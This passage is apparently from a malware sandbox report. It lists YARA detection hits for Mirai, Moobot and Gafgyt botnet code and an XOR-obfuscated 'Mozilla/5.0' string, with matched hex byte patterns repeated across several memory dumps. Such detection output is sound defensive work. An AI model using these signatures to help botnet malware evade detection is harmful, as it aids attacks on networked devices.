78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7197.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7231.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7231.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7231.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7231.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7231.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7231.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6660.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6555.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6555.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6555.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6555.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6555.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6555.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6942.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7388.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6752.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7179.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7179.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7179.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7179.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7179.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7179.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6992.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6850.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6850.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6850.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6850.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6850.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6850.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6246.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6246.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6246.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6246.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6246.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6246.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
